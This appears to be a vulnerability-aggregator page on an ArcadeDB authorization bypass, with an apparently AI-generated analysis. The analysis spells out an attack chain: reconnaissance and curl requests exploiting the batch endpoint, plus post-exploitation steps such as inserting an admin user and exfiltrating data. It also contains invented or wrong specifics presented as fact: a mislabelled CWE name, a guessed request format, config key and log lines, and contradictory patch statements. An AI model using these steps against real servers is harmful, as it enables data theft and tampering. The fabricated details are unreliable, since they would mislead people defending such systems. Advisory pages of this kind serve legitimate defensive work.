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CVE-2026-134339

CVE-2026-134339 — ArcadeData Arcadedb — CWE-863

HIGH CVSS 8.8 Shodan

CVE-2026-134339 is a HIGH severity Missing Authorization & Access Control vulnerability (CWE-863) (CVSS 8.8/10) affecting ArcadeData Arcadedb. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with low-privileged access (PR:L) with zero user interaction (UI:N), resulting in complete compromise of system confidentiality and integrity (C:H/I:H).

📄 Official NVD / MITRE Original Record Text

ArcadeDB from 26.11.1-SNAPSHOT before 26.11.1 contains an authorization bypass vulnerability that allows authenticated users to skip per-type ACL checks when a database is opened on demand. Attackers can send the first POST /api/v1/batch/{database} request to a closed database to read and write types they are not entitled to access.

Published 21.11.2026
ISO Date 2026-11-21
CVSS Version v3.1
Source Shodan
CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

ArcadeDB 26.11.1‑SNAPSHOT (before 26.11.1) contains an authorization bypass that allows any authenticated user to skip per‑type ACL checks when a database is opened on demand.
When a client sends the first POST /api/v1/batch/{database} request to a database that is currently closed, the server performs the following logic:

1. Authentication – the request is accepted because the user is already authenticated (e.g., via a session cookie or bearer token).
2. Database opening – the server opens the requested database.
3. ACL enforcement – the server is supposed to enforce per‑type access control lists (ACLs) for every type that will be accessed in the batch.
4. Missing check – due to a logic flaw, the ACL check is skipped for the first batch request after the database is opened. Subsequent batch requests are protected, but the initial one can read or write any type the user is not entitled to.

The flaw is a classic CWE‑863: Authorization Bypass Through User-Controlled Key. The CVSS vector reflects that the vulnerability is exploitable over the network, requires only low privilege (any authenticated user), and has no user interaction. The impact is high for confidentiality, integrity, and availability.


⚡ Attack Chain

Below is a realistic, step‑by‑step chain that an attacker could follow. All commands are syntactically valid; the endpoint shown is taken directly from the CVE description.

1. Discovery & Reconnaissance

StepTechniqueWhat the attacker learns
1.1Network scanningDetects an open TCP port (default 2480 for ArcadeDB REST API).
1.2Banner grabbingcurl -I http://<target>:2480 → ArcadeDB/26.11.1-SNAPSHOT in the Server header.
1.3API enumerationcurl http://<target>:2480/api/v1/ → lists available databases and endpoints.
1.4Authentication enumerationAttempts to log in with known credentials or brute‑force a weak password. Successful login yields a session cookie or bearer token.
Result: The attacker knows the target runs ArcadeDB 26.11.1‑SNAPSHOT (pre‑26.11.1) and has an authenticated session.

2. Exploitation

The vulnerability is triggered by the first batch request to a closed database. The attacker crafts a minimal batch that reads a protected type.

# 2.1  Authenticate (example – replace with real credentials)
curl -X POST http://<target>:2480/api/v1/authenticate \
     -H "Content-Type: application/json" \
     -d '{"username":"alice","password":"secret"}' \
     -c cookie.txt

# 2.2  Send the first batch request to a closed database
curl -X POST http://<target>:2480/api/v1/batch/finance \
     -H "Content-Type: application/json" \
     -b cookie.txt \
     -d '{
           "operations": [
             {
               "type": "read",
               "class": "SensitiveTransaction",
               "query": "SELECT * FROM SensitiveTransaction WHERE amount > 10000"
             }
           ]
         }'

What happens under the hood

  • The server sees that the finance database is closed, so it opens it.
  • Because this is the first batch request after opening, the per‑type ACL check for SensitiveTransaction is bypassed.
  • The query returns all rows that match the condition, even though the authenticated user alice does not have read permission on that type.
  • Result: The attacker obtains data that should be protected.

    3. Post‑exploitation

    Once the attacker can read/write arbitrary types, they can:

    GoalTechniqueExample
    Data exfiltrationDump all records from a protected typeUse a batch request that selects all rows and streams them to the attacker’s server.
    Schema tamperingCreate a malicious type that triggers a bug in the applicationPOST /api/v1/batch/finance with an operation that CREATE CLASS Malicious and a property that causes a crash.
    Privilege escalationAdd a new user with admin rightsPOST /api/v1/batch/finance with an operation that INSERT INTO User (username, role) VALUES ('evil', 'admin').
    Denial of ServiceDrop a critical typeDELETE FROM SensitiveTransaction via a batch operation.

    Because the vulnerability allows write access as well, the attacker can modify or delete data, corrupt the database, or insert malicious objects that may later be exploited by other components of the system.


    🌍 Real World Impact

    ImpactExplanation
    Confidentiality (C:H)Arbitrary read of protected types exposes sensitive data (e.g., financial records, personal information).
    Integrity (I:H)Arbitrary write or delete operations can corrupt data, insert malicious records, or delete critical schema objects.
    Availability (A:H)Dropping types or corrupting the database can render the database unusable, leading to downtime.

    Practical consequences

  • Data theft: Attackers can harvest large volumes of confidential data in a single request.
  • Data loss: Deleting or corrupting critical types can cause irreversible loss.
  • Service disruption: Schema changes or data corruption can crash applications that rely on the database.
  • Regulatory risk: Exposure of personal or financial data may trigger GDPR, HIPAA, or other compliance violations.

  • 🛡️ Remediation & Mitigation

    1. Exact affected versions

  • ArcadeDB 26.11.1‑SNAPSHOT (any build before the official 26.11.1 release).
  • The issue is fixed in ArcadeDB 26.11.1 and later.
  • 2. Upgrade recommendation

    ActionPriority
    Immediate upgrade to ArcadeDB 26.11.1 or newer.High
    If upgrade is not possible, disable the batch API for databases that are not required to be opened on demand.Medium

    3. Workarounds

    MitigationHow to implement
    Restrict batch endpointConfigure the web server (e.g., Nginx, Apache) to allow POST /api/v1/batch/* only from trusted IPs or VPN.
    Disable database auto‑openIn arcadedb.conf, set autoOpenDatabase=false so that databases must be opened explicitly by an admin.
    Enforce per‑type ACLs on first requestPatch the server code to perform ACL checks even on the first batch request after opening. (Only a vendor patch can guarantee this.)
    Use a WAF ruleExample ModSecurity rule to block the first batch request to a closed database: <br>SecRule REQUEST_URI "@beginsWith /api/v1/batch/" "phase:2,block,msg:'Potential ArcadeDB ACL bypass',id:100001"
    Note: The WAF rule above is illustrative; you must tailor it to your environment and test it to avoid blocking legitimate traffic.

    4. Detection

    IndicatorLog patternHow to detect
    First batch request to a closed databasePOST /api/v1/batch/<db> with Database <db> opened in the logMonitor logs for “opened” messages followed by read/write operations on protected types.
    Unexpected read/write on protected typesSELECT * FROM SensitiveTransaction or INSERT INTO SensitiveTransaction by a user lacking permissionCorrelate with ACL configuration; flag any operation that bypasses ACLs.
    Repeated batch requests from the same IPMultiple POST /api/v1/batch within a short windowUse IDS/IPS to alert on high request rates.

    Sample log snippet

    2026-11-21 14:32:07 INFO  [ArcadeDB] Database 'finance' opened by user 'alice'
    2026-11-21 14:32:07 INFO  [ArcadeDB] Executing batch on 'finance' (first request)
    2026-11-21 14:32:07 INFO  [ArcadeDB] READ SensitiveTransaction WHERE amount > 10000 by user 'alice' (ACL bypass)

    ⚠️ Urgency

  • CVSS score 8.8 (High) with low attack complexity (network, authenticated, low privilege) and no user interaction means the vulnerability can be exploited by any attacker who can reach the REST API and has valid credentials.
  • CISA KEV status: No – no official mitigation guidance yet, but the vendor has already released a patch.
  • Impact: Full confidentiality, integrity, and availability loss.
Patch priority: Immediate. If you cannot upgrade right away, apply the recommended workarounds and monitor logs closely. Once the patch is available, deploy it as soon as possible to eliminate the risk.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="ArcadeData arcadedb"
CVSS Score
8.8 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-863
Affected Products (1)
ArcadeData:arcadedb
References & Advisories (2)
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